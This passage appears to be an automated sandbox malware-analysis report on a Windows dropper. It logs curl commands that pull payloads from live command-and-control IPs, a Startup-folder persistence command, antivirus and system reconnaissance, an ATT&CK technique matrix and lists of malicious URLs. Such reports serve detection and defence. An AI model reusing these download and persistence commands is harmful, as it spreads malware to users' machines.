Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr" "C:\Users\user\AppData\Local\InnoSphere Dynamics\l"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe azvw.exe -o xhwq.zip
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /C:"OS Name"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ixhzf" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6"

Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innosphere.url" & echo url="c:\users\user\appdata\local\innosphere dynamics\innosphere.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innosphere.url" & exit
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innosphere.url" & echo url="c:\users\user\appdata\local\innosphere dynamics\innosphere.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innosphere.url" & exit			Jump to behavior

Source: Finish.com, 0000000A.00000003.2078982838.0000000003A70000.00000004.00000800.00020000.00000000.sdmp, Finish.com, 0000000A.00000000.2072228997.0000000000613000.00000002.00000001.01000000.00000007.sdmp, InnoSphere.scr, 00000010.00000000.2231027932.0000000000EF3000.00000002.00000001.01000000.00000009.sdmp

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	52_2_0041713F
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,	52_2_00416AF5
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,	52_2_0041BC50
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: EnumSystemLocalesA,	52_2_00417068
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: EnumSystemLocalesA,	52_2_00416CCA
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	52_2_00411CF0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	52_2_0041709F
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	52_2_00411CB0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,	52_2_00416D51
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoW,WideCharToMultiByte,	52_2_0041BD13
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	52_2_004171C4
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	52_2_0041725C
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: EnumSystemLocalesA,	52_2_00416F55
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,MultiByteToWideChar,	52_2_0041BB3D
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,MultiByteToWideChar,	52_2_0041BBFA
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: GetLocaleInfoA,	52_2_00416FAB

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Code function: 52_2_00413F9E GetLocalTime,GetSystemTime,GetTimeZoneInformation,

52_2_00413F9E

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Code function: 52_2_004194BD GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

52_2_004194BD

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	11 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Access Token Manipulation	21 Obfuscated Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	11 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	12 Process Injection	1 Software Packing	Security Account Manager	47 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	241 Security Software Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	121 Masquerading	LSA Secrets	13 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	13 Virtualization/Sandbox Evasion	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	11%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\303482\Either.pif	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\768032\Finish.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	62%	ReversingLabs	Win32.Trojan.Ramses
C:\Users\user\AppData\Local\Temp\Rocky	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\7za.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\7za.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\7zxa.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo64.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe	5%	ReversingLabs
C:\Users\user\AppData\Roaming\DolphinDumps\zip.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=d460800e784d2ac37a5620f6b348df6f*6&jwvs=4CA966315CCC70F4BEF0FE322EDE46	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=5	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?gi	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=7	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=8	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=79019141f392e1d4f8c60697fd9f5a0e*2&jwvs=4CA966315CCC70F4BEF0FE322EDE46	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=6h	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=6	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=2021&jwvs=4CA966315CCC70F4BEF0FE322EDE46	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php	100%	Avira URL Cloud	malware
ftp://ftp.info-zip.org/pub/infozip	0%	Avira URL Cloud	safe
http://178.215.224.74/v10/ukyh.NNAME=ConsoleSh	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=2016&jwvs=4CA966315CCC70F4BEF0FE322EDE46&bsxa=1	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=60%	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=6T	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=6Q	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=31	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true	100%	Avira URL Cloud	malware
http://178.215.224.252/v10/ukyh	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=7wk0	100%	Avira URL Cloud	malware
http://178.215.224.252/v10/ukyh.php?jspo=6	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?uvyw=2	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=33&jwvs=4CA966315CCC70F4BEF0FE322EDE46	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.%	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?uvyw=6	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=6c	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=2022&jwvs=4CA966315CCC70F4BEF0FE322EDE46	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldml	100%	Avira URL Cloud	malware
